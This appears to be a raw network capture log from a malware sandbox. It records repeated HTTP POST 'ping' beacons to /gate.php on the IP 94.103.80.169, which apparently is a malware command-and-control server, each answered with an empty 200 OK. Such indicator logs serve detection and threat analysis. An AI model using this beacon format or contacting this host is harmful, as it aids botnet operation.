Aug 15, 2021 08:41:47.599622011 CEST	7647	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:47 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:47.724623919 CEST	7647	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:47.753221035 CEST	7647	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:47 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:47.871464968 CEST	7647	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:47.899921894 CEST	7648	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:47 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:48.019187927 CEST	7648	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:48.048470020 CEST	7648	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:48 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:48.162692070 CEST	7648	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:48.190258980 CEST	7648	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:48 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:48.302984953 CEST	7649	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:48.332504034 CEST	7649	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:48 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:48.440748930 CEST	7649	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:48.468087912 CEST	7649	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:48 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:48.581330061 CEST	7650	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:48.610152960 CEST	7650	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:48 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:48.724401951 CEST	7650	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:48.753113985 CEST	7650	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:48 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:48.863013029 CEST	7651	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:48.890830040 CEST	7651	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:48 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:49.003741026 CEST	7651	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:49.035089016 CEST	7651	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:49 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:49.144742012 CEST	7652	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:49.172374010 CEST	7652	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:49 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:49.287499905 CEST	7652	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:49.318041086 CEST	7652	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:49 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:49.442692041 CEST	7652	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:49.471090078 CEST	7653	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:49 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:49.580652952 CEST	7653	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:49.612720013 CEST	7653	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:49 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:49.721138954 CEST	7653	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:49.750593901 CEST	7654	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:49 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:49.862613916 CEST	7654	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:49.891184092 CEST	7654	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:49 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:50.007169962 CEST	7654	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:50.034949064 CEST	7655	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:50 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:50.148117065 CEST	7655	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:50.176585913 CEST	7655	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:50 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:50.287029028 CEST	7655	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:50.315541029 CEST	7655	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:50 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:50.425697088 CEST	7656	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:50.454545021 CEST	7656	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:50 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:50.569190979 CEST	7656	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:50.596524954 CEST	7656	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:50 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:50.709034920 CEST	7657	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:50.737051010 CEST	7657	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:50 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:50.846656084 CEST	7657	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:50.874218941 CEST	7657	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:50 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:50.989994049 CEST	7658	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:51.018541098 CEST	7658	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:51 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:51.131205082 CEST	7658	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:51.159235954 CEST	7658	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:51 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:51.267589092 CEST	7659	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:51.295548916 CEST	7659	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:51 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:51.411853075 CEST	7659	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:51.440505981 CEST	7659	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:51 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:51.551028013 CEST	7660	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:51.579844952 CEST	7660	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:51 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:51.693773985 CEST	7660	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:51.721339941 CEST	7660	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:51 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:51.831327915 CEST	7660	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:51.859267950 CEST	7661	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:51 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:51.975014925 CEST	7661	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:52.002468109 CEST	7661	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:51 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:52.115365982 CEST	7662	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:52.143866062 CEST	7662	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:52 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:52.253218889 CEST	7662	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:52.282366991 CEST	7662	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:52 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:52.393553972 CEST	7663	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:52.424870968 CEST	7663	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:52 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:52.537602901 CEST	7663	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:52.564697981 CEST	7663	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:52 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:52.673984051 CEST	7663	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:52.703847885 CEST	7664	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:52 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:52.817079067 CEST	7664	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:52.845088005 CEST	7664	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:52 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:53.010535955 CEST	7664	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:53.042613983 CEST	7665	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:53 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:53.314711094 CEST	7665	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:53.342089891 CEST	7665	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:53 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:53.460536957 CEST	7665	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:53.488085032 CEST	7666	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:53 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:53.612260103 CEST	7666	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:53.640377045 CEST	7666	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:53 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:53.753312111 CEST	7666	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:53.782201052 CEST	7667	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:53 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:54.262257099 CEST	7667	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:54.290103912 CEST	7667	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:54 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:54.409240961 CEST	7667	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:54.436470032 CEST	7668	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:54 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:54.550347090 CEST	7668	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:54.577752113 CEST	7668	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:54 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:54.713139057 CEST	7668	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:54.740520954 CEST	7669	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:54 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:55.815682888 CEST	7669	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:55.844253063 CEST	7669	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:55 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:55.959526062 CEST	7669	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:55.987677097 CEST	7670	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:55 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:56.096920013 CEST	7670	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:56.124839067 CEST	7670	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:56 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:56.242362022 CEST	7670	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:56.272439957 CEST	7671	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:56 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:56.377667904 CEST	7671	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:56.406557083 CEST	7671	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:56 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:56.521199942 CEST	7671	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:56.548938036 CEST	7671	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:56 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:56.660001993 CEST	7672	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:56.688410997 CEST	7672	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:56 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:56.801009893 CEST	7672	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:56.829114914 CEST	7672	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:56 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:56.941800117 CEST	7673	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:56.970151901 CEST	7673	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:56 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:57.087569952 CEST	7673	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:57.115638018 CEST	7673	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:57 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:57.237418890 CEST	7674	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:57.265899897 CEST	7674	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:57 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:57.381262064 CEST	7674	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:57.410448074 CEST	7674	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:57 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:57.535202026 CEST	7675	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:57.562882900 CEST	7675	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:57 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:57.676162958 CEST	7675	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:57.705519915 CEST	7675	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:57 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:57.819658041 CEST	7676	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:57.847774982 CEST	7676	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:57 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
